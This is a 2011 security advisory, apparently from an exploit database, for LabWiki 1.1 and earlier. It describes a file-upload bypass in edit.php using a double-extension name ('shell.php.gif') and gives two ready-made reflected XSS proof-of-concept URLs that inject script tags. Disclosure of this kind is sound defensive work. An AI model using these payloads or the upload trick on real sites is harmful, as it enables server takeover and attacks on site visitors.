30 lines
No EOL
1.2 KiB
Text
30 lines
No EOL
1.2 KiB
Text
------------------------------------------------------------------------
|
|
LabWiki <= 1.1 Multiple Vulnerabilities
|
|
------------------------------------------------------------------------
|
|
|
|
author............: muuratsalo (Revshell.com)
|
|
contact...........: muuratsalo[at]gmail[dot]com
|
|
download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
|
|
|
|
|
|
[0x01] Vulnerability overview:
|
|
|
|
All versions of LabWiki <= 1.1 are affected by multiple vulnerabilities.
|
|
|
|
|
|
[0x02] Disclosure timeline:
|
|
|
|
[08/11/2011] - Multiple vulnerabilities discovered and reported to the vendor.
|
|
[08/11/2011] - The vendor confirmed the vulnerabilities and he is working on fixing the reported issues.
|
|
[09/11/2011] - Public Disclosure
|
|
|
|
|
|
[0x03] Vulnerabilities:
|
|
|
|
-- Shell Upload Vulnerability --
|
|
The upload script /edit.php improperly checks the filetype of uploaded images.
|
|
A 'shell.php.gif' is accepted. /* -- note that access to edit.php could be restricted -- */
|
|
|
|
-- Multiple Cross Site Scripting Vulnerabilities --
|
|
http://localhost/LabWiki/index.php?from="></><script>alert('muuratsalo')</script>&help=true&page=What_is_wiki
|
|
http://localhost/LabWiki/recentchanges.php?nothing=nothing&page_no="></><script>alert('muuratsalo')</script> |